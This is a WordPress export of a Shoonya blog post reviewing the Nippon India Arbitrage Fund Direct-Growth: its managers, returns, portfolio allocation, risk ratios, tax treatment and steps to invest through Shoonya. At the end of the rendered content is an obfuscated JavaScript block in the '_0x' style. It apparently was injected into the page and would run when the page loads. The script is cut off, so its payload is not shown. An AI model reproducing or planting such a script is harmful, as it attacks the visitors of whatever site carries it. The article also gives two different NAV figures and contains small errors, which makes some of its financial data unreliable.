{"id":10538,"date":"2024-12-31T08:01:24","date_gmt":"2024-12-31T08:01:24","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=10538"},"modified":"2025-05-22T09:39:09","modified_gmt":"2025-05-22T09:39:09","slug":"nippon-india-arbitrage-fund-direct-growth","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/","title":{"rendered":"Nippon India Arbitrage Fund Direct-Growth: Key Insights, Returns, Risks, and More"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Fund_Management_and_Objectives\" >Fund Management and Objectives<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#How_the_Nippon_India_Arbitrage_Fund_Works\" >How the Nippon India Arbitrage Fund Works?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Performance_and_Returns_As_of_27_Dec_2024\" >Performance and Returns (As of 27 Dec 2024)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Investment_Allocation_As_of_30_Nov_2024\" >Investment Allocation (As of 30 Nov 2024)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Key_Metrics\" >Key Metrics&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Risk_of_the_Nippon_India_Arbitrage_Fund\" >Risk of the Nippon India Arbitrage Fund&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Taxation_for_Nippon_India_Arbitrage_Fund\" >Taxation for Nippon India Arbitrage Fund&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#How_to_Invest_in_Nippon_India_Arbitrage_Fund_Direct\" >How to Invest in Nippon India Arbitrage Fund Direct?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Investing_in_Lump_Sum_Mutual_Funds_through_the_Shoonya_Web_Platform\" >Investing in Lump Sum Mutual Funds through the Shoonya Web Platform<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Setting_Up_an_SIP_for_Mutual_Funds\" >Setting Up an SIP for Mutual Funds<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Why_Invest_in_the_Nippon_India_Arbitrage_Fund\" >Why Invest in the Nippon India Arbitrage Fund?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Suitability_of_this_Fund_Who_Should_Invest\" >Suitability of this Fund| Who Should Invest?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/nippon-india-arbitrage-fund-direct-growth\/#FAQs_Nippon_India_Arbitrage_Fund_Direct_Growth\" >FAQs| Nippon India Arbitrage Fund Direct Growth<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/\">Mutual Funds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Nippon India Arbitrage Fund Direct-Growth: Key Insights, Returns, Risks, and More<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The stock market is filled with different gaps in prices, from which arbitrage opportunities arise and <strong>Nippon India Arbitrage Fund Direct Growth<\/strong> uses these opportunities to generate returns for the investors. While these gaps often seem insignificant to normal eyes, to fund managers and arbitrage traders as well, these gaps are huge opportunities.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This article will help you navigate through the details of the <strong>Nippon India Arbitrage Fund<\/strong>. You will be reading all the insights about this fund, starting from its returns, to the risk involved, different financial metrics you can evaluate from here, and more.&nbsp;<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-fund-management-and-objectives-\"><span class=\"ez-toc-section\" id=\"Fund_Management_and_Objectives\"><\/span><strong>Fund Management and Objectives<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Nippon India Arbitrage Fund Direct-Growth<\/strong> is an open-ended hybrid fund that invests in different arbitrage opportunities in the debt and money market. It invests in the price difference between cash and derivative segments of debt securities and money market instruments. It also uses the arbitrage opportunities within the derivative segment of debt securities and money market instruments. The objective of the fund is to generate a regular stream of income for the investors while capital appreciation takes place.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fund is managed by \u2013&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Siddharth Deb: <\/strong>He is an MMS in finance with years of experience in financial services and asset management. He manages multiple funds at Nippon and to name a few Nippon India ETF Nifty 1D Rate Liquid BeEs, Nippon India ETF Hang Seng BeEs, and others are there. He has been managing this fund since 14 September 2024.&nbsp;<\/li>\n\n\n\n<li><strong>Vikash Agarwal: <\/strong>He has<strong> <\/strong>also mangled the fund since 14 September 2024. He is a CA and a CFA and worked with HDFC AMC and L&amp;T before joining Nippon India.&nbsp;<\/li>\n\n\n\n<li><strong>Rohit Hashmukh Shah:<\/strong> He is a CA, FRM, and has ten years and above experience in equity dealing. He has been managing this fund since 8 April 2024.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/open-an-account\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Want to Invest in the Nippon India Arbitrage Fund? Open a free Demat account with the Best MF App!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"1-how-the-nippon-india-arbitrage-fund-works-\"><span class=\"ez-toc-section\" id=\"How_the_Nippon_India_Arbitrage_Fund_Works\"><\/span><strong>How the Nippon India Arbitrage Fund Works?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Arbitrage is a type of investing or trading where the difference in prices of an investment instrument is utilized to generate profits. Here, in this fund, the same process is applied where the price difference between a cash instrument and a derivative instrument is taken to generate profits. Similarly, arbitrage between two derivatives of the same underlying are also used.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fund manager needs to be on top of the market to find out such arbitrage opportunities and cash them immediately. In this <strong>Nippon India Arbitrage Fund<\/strong>, the fund manager makes the most use of the cash and cash equivalents. The use of equity in this fund is negligible while debt instruments have a significant portion.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-performance-and-returns-as-of-27-dec-2024\"><span class=\"ez-toc-section\" id=\"Performance_and_Returns_As_of_27_Dec_2024\"><\/span>Performance and Returns (As of 27 Dec 2024)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Nippon India Arbitrage Fund Direct-Growth<\/strong> has offered an annualized return of 7.10% since inception. It has been performing well consistently and here is a snapshot of its returns \u2013&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>10 Year Return: 6.68%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>7 Year Return: 6.40%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5 Year Return: 6.10%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3 Year Return: 6.97%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1 Year Return: 8.21%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>YTD Return: 8.14%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>6 Month Return: 3.67%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3 Month Return: 1.93%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Nippon India Arbitrage Fund <\/strong>has been<strong> <\/strong>consistently delivering higher returns when compared to the CCIL T Bill Liquidity Weight. The returns are almost double the CCIL T Bill, which indicates the resilience of the fund. The performance of the fund has remained consistent over the year and helps investors generate regular income. This fund is also offering one of the highest returns among the hybrid funds of this category.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-investment-allocation-as-of-30-nov-2024\"><span class=\"ez-toc-section\" id=\"Investment_Allocation_As_of_30_Nov_2024\"><\/span>Investment Allocation (As of 30 Nov 2024)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Nippon India Arbitrage Fund portfolio <\/strong>holds 73.95% cash and cash equivalents along with 26.46% of debt instruments, and equity is negative as of now, around -0.41%.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here is the investment allocation according to market capitalization \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Giant Cap: <\/strong>55.74%<\/li>\n\n\n\n<li><strong>Large Cap: <\/strong>30.96%<\/li>\n\n\n\n<li><strong>Mid Cap<\/strong>: 13.15%<\/li>\n\n\n\n<li><strong>Small Cap<\/strong>: 0.15%<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Investment allocation as per Ratings &#8211;&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Cash Equivalents \u2013 73.95%<\/strong><\/li>\n\n\n\n<li><strong>AAA \u2013 23.78%<\/strong><\/li>\n\n\n\n<li><strong>SOV \u2013 2.19%<\/strong><\/li>\n\n\n\n<li><strong>AA \u2013 0.45%<\/strong><\/li>\n\n\n\n<li><strong>Unrated\/ others \u2013 0.04%<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The top holdings of the <strong>Nippon India Arbitrage Fund <\/strong>include<strong> \u2013&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Equity Segment&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Reliance&nbsp;<\/li>\n\n\n\n<li>Indusind Bank&nbsp;<\/li>\n\n\n\n<li>Axis Bank<\/li>\n\n\n\n<li>Hindustan Aeronautical Ltd.<\/li>\n\n\n\n<li>HDFC Bank<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Debt Segment&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Nippon India Money Market Direct \u2013 Growth<\/li>\n\n\n\n<li>Nippon India Low Duration Direct &#8211; Growth<\/li>\n\n\n\n<li>Bank of Baroda CD 07\/02\/2025<\/li>\n\n\n\n<li>HDFC Securities Ltd. CP 90-D 18\/12\/2024<\/li>\n\n\n\n<li>Bank of Baroda CD 20\/02\/2025<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-key-metrics-\"><span class=\"ez-toc-section\" id=\"Key_Metrics\"><\/span><strong>Key Metrics&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As of 30 November 2024, the fund has an expense ratio of 0.39%, which is marginally higher than the category average of 0.34%.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Fund Details<\/strong><\/td><td><strong>Information<\/strong><\/td><\/tr><tr><td><strong>AUM (Assets Under Management)<\/strong><\/td><td>\u20b9 15418 Crore as of 30 November 2024<\/td><\/tr><tr><td><strong>NAV&nbsp;<\/strong><\/td><td>\u20b9 27.6483 as of 27 December 2024<\/td><\/tr><tr><td><strong>Category<\/strong><\/td><td>Hybrid Fund<\/td><\/tr><tr><td><strong>Fund Managers<\/strong><\/td><td>Siddharth Deb.&nbsp;Vikash Agarwal&nbsp;Rohit Hashmukh Shah<\/td><\/tr><tr><td><strong>Exit Load<\/strong><\/td><td>0.25% for redemption within 30 days<\/td><\/tr><tr><td><strong>Entry Load<\/strong><\/td><td>Nil<\/td><\/tr><tr><td><strong>Minimum Investment<\/strong><\/td><td>\u20b95000(Lump sum)\u20b9 100 (SIP)<\/td><\/tr><tr><td><strong>Benchmark<\/strong><\/td><td>NIFTY 50 Arbitrage TRI<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-risk-of-the-nippon-india-arbitrage-fund-\"><span class=\"ez-toc-section\" id=\"Risk_of_the_Nippon_India_Arbitrage_Fund\"><\/span>Risk of the Nippon India Arbitrage Fund&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This fund is classified as a \u2018Low Risk\u2019 fund, which indicates that the fund offers a stable return usually without much volatility.&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Standard Deviation (Std Dev %): <\/strong>It shows how much the returns vary from the average returns generated by the funds themselves. The higher this number, the more it fluctuates.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This fund has a standard deviation of 0.61% while the average standard deviation of the hybrid arbitrage funds is around 0.65%. This indicates that the <strong>Nippon India Arbitrage Fund <\/strong>is less volatile than its peers. However, when compared with CCIL T Bill Liquidity Weight, which has a standard deviation of around 0.41%, the fund is more volatile than the CCIl T-Bills.&nbsp;<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Sharpe Ratio: <\/strong>This ratio indicates the return you get for the risk you&#8217;re taking. A higher number means better risk-adjusted returns.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Currently, this fund has a Sharpe ratio of 1.23%, while that of the CCIL T-Bill is -5.10 and the category average is 0.86. This indicates that the Nippon India Arbitrage Fund is offering better risk-adjusted returns compared to its peers.&nbsp;<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Sortino Ratio: <\/strong>It is similar to Sharpe but only looks at downside risk (the risk of losing money).<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Similar to the Sharpe ratio, this fund has lower downside risk compared to its peers. While the average for the category stands at 1.03%, this <strong>Nippon India Arbitrage Fund Direct-Growth<\/strong> has a 1.48% Sorting ratio.&nbsp;<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Beta: <\/strong>This ratio indicates the volatility of the fund\u2019s performance, compared to similar funds in the market. The lower the Beta, the more predictable the returns are, and vice versa. It helps in comparing funds.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Nippon India Arbitrage Fund <\/strong>is<strong> <\/strong>comparatively less volatile compared to its peers. This fund has a beta of 0.79% while that of the category is 0.81%.&nbsp;<\/p>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Alpha: <\/strong>It measures<strong> <\/strong>the extra return the fund gives above the market&#8217;s average return. The higher the alpha, the higher would be the return of the fund compared to the market average\/ peers.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The fund has an alpha of 2.40, marginally higher than the category average of 2.25.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"6-taxation-for-nippon-india-arbitrage-fund-\"><span class=\"ez-toc-section\" id=\"Taxation_for_Nippon_India_Arbitrage_Fund\"><\/span>Taxation for Nippon India Arbitrage Fund&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you&#8217;re investing in the <strong>Nippon India Arbitrage Fund<\/strong>, here&#8217;s how your returns will be taxed:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Short-Term Gains<\/strong> &#8211; If you sell the fund units within 1 year of the date of investment, a 20% tax will be levied on the entire return generated during the period.&nbsp;<\/li>\n\n\n\n<li><strong>Long-Term Gains<\/strong> &#8211; If you sell the fund units after one year, any profit generated over and above \u20b9 1.25 lakh will be taxable at a 12.5% rate. The same rate will be applicable for any investment tenure above 1 year.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Taxes on Dividends<\/strong> \u2013 Dividends earned if any will be taxable at the hands of investors as per their tax slabs. If the dividend income surpasses Rs. 5000 in a financial year, then the fund house will deduct 10% TDS before disbursing the dividend into the account of the investor.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Minimum Investment and Lock-in Period<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The minimum investment amount in the <strong><em>Nippon India Arbitrage Fund <\/em><\/strong>is \u20b95000 for lump sum and SIP, it is \u20b9 100. There is no lock-in period for the <strong>Nippon India Arbitrage Fund Direct &#8211; Growth<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/onelink.to\/aw8e9m\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Invest in the Nippon India Arbitrage Fund \u2014 SIP or lump sum? Invest with the MF app at your convenience<\/mark><\/a><a href=\"https:\/\/onelink.to\/aw8e9m\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">.&nbsp;<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7-how-to-invest-in-nippon-india-arbitrage-fund-direct\"><span class=\"ez-toc-section\" id=\"How_to_Invest_in_Nippon_India_Arbitrage_Fund_Direct\"><\/span>How to Invest in Nippon India Arbitrage Fund Direct?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">You can invest in the <strong>Nippon India Arbitrage Fund Direct-Growth<\/strong> plan with Shoonya.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shoonya offers a free Demat account, zero commission investment, advanced trading tools, 100+ technical indicators, and much more!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-investing-in-lump-sum-mutual-funds-through-the-shoonya-web-platform\"><span class=\"ez-toc-section\" id=\"Investing_in_Lump_Sum_Mutual_Funds_through_the_Shoonya_Web_Platform\"><\/span>Investing in Lump Sum Mutual Funds through the Shoonya Web Platform<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Here\u2019s a quick guide on how to invest in lump sum mutual funds through the Shoonya web platform:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>First, you must log in to your Shoonya account at <a href=\"https:\/\/trade.shoonya.com\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">trade.shoonya.com<\/mark><\/a>. From the &#8220;Orders&#8221; section, click on &#8220;MF order.&#8221;<\/li>\n\n\n\n<li>Search for the fund you wish to invest in; in this case, the Nippon India Arbitrage Fund Direct-Growth plan.<\/li>\n\n\n\n<li>Choose &#8220;Fresh&#8221; for a new investment and enter the amount you want to invest.<\/li>\n\n\n\n<li>You can complete your purchase by clicking the &#8220;Purchase&#8221; button.<\/li>\n\n\n\n<li>You will receive a payment link on your registered email. Use the link to make the payment.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">After payment, your mutual fund units will be allotted to your Demat account within T+2 days.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Note:<\/strong> You can only make the payment using the bank account registered with your Demat account.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-setting-up-an-sip-for-mutual-funds\"><span class=\"ez-toc-section\" id=\"Setting_Up_an_SIP_for_Mutual_Funds\"><\/span>Setting Up an SIP for Mutual Funds<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you prefer a <strong>Systematic Investment Plan<\/strong> (SIP) for Nippon India Arbitrage Fund Direct Plan-Growth plan, you must follow these steps:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>First, you need to log in to your Shoonya account at <a href=\"https:\/\/trade.shoonya.com\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">trade.shoonya.com<\/mark><\/a>. Go to &#8220;Orders&#8221; and click on &#8220;XSIP.&#8221;<\/li>\n\n\n\n<li>Find the mutual fund for which you want to set up an SIP. In this case, the Nippon India Arbitrage Fund Direct-Growth plan.<\/li>\n\n\n\n<li>If this is your first SIP with Shoonya, you need to create a Mandate ID.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">For that, you must enter the mandate amount and the validity date (until you want to keep your SIP active).<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li>You must submit the details, and you\u2019ll receive a Mandate authentication link via email. Approval generally takes 24 hours.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Once your Mandate is approved, you can follow these steps to set up your SIP:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Go to &#8220;XSIP,&#8221; enter the SIP amount, and select &#8220;Fresh&#8221; as the transaction type.<\/li>\n\n\n\n<li>Choose the date when the SIP will be debited directly from your registered bank.<\/li>\n\n\n\n<li>The approved Mandate ID will auto-reflect.<\/li>\n\n\n\n<li>Choose &#8220;Monthly&#8221; for monthly debits and specify the number of installments (e.g., 24 installments for a 2-year SIP).<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If you do not want to forget your SIPs and invest systematically, the SIP method can be most suitable for you.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"10-why-invest-in-the-nippon-india-arbitrage-fund\"><span class=\"ez-toc-section\" id=\"Why_Invest_in_the_Nippon_India_Arbitrage_Fund\"><\/span>Why Invest in the Nippon India Arbitrage Fund?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The lower risk profile of the fund makes it attractive for investors looking for stable returns. This fund can also help in diversifying your investment portfolio, and lower the risk of the entire portfolio. Then taxes are levied as of an equity fund, which helps the post-tax returns to be significantly higher when compared to other debt funds in general.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-suitability-of-this-fund-who-should-invest\"><span class=\"ez-toc-section\" id=\"Suitability_of_this_Fund_Who_Should_Invest\"><\/span>Suitability of this Fund| Who Should Invest?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Nippon India Arbitrage Fund Direct <\/strong>is suitable for investors who:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Wants to invest for a shorter tenure such as from three months to one year<\/li>\n\n\n\n<li>Investors falling in the higher tax brackets<\/li>\n\n\n\n<li>Are risk-averse and looking for stable returns<\/li>\n\n\n\n<li>Want to make a profit out of market inefficiencies&nbsp;<\/li>\n\n\n\n<li>Are looking for a risk-return profile like a liquid fund<\/li>\n\n\n\n<li>Seeking taxation like an equity fund with a higher post-tax return<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"12-conclusion-\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">So, <strong>Nippon India Arbitrage Fund <\/strong>can bring down the risk profile of your investment portfolio by adding debt and cash instruments, which reap benefits from the arbitrage opportunities in them. This fund has been successfully offering higher than category average returns and way higher than the benchmarks. However, having said that the risk quotient is not negligible, thus if you want to invest in this fund, you need to consider that too.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-faqs-nippon-india-arbitrage-fund-direct-growth\"><span class=\"ez-toc-section\" id=\"FAQs_Nippon_India_Arbitrage_Fund_Direct_Growth\"><\/span>FAQs| Nippon India Arbitrage Fund Direct Growth<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1735626851707\"><strong class=\"schema-faq-question\"><strong>1. What is the Nippon India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">Nippon India Arbitrage Fund &#8211; Direct Plan is a mutual fund that is an open-ended arbitrage fund, which generates income from the price difference of a cash and derivative or within the derivative segment only.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1735626852793\"><strong class=\"schema-faq-question\"><strong>2. What is the expense ratio of the Nippon India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The expense ratio of the Nippon India Arbitrage Fund &#8211; Direct Plan is 0.39% as of 30 November 2024.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1735627039237\"><strong class=\"schema-faq-question\"><strong>3. What is the current NAV of the Nippon India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The current NAV (Net Asset Value) of the Nippon India Arbitrage Fund &#8211; Direct Plan as of<strong> <\/strong>27 December<strong> <\/strong>2024 stood at \u20b9 27.6783.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1735627039709\"><strong class=\"schema-faq-question\"><strong>4. What is the AUM of the Nippon India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The total assets under management (AUM) of Nippon India Arbitrage Fund &#8211; Direct Plan is \u20b9 15418 Crore as of 30 November 2024.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1735627068776\"><strong class=\"schema-faq-question\">5<strong>. What is the Riskometer level of the Nippon India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Riskometer level of the Nippon India Arbitrage Fund &#8211; Direct Plan is marked as &#8220;Low Risk&#8221;.\u00a0 This means the fund has lower risk and won\u2019t be very volatile<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:&nbsp;<a href=\"https:\/\/www.valueresearchonline.com\/funds\/17008\/nippon-india-arbitrage-fund-direct-plan\/#overview\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">ValueResearch<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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While these gaps often seem insignificant to normal eyes, to fund managers and arbitrage traders as well, these gaps are huge opportunities.&nbsp; This article 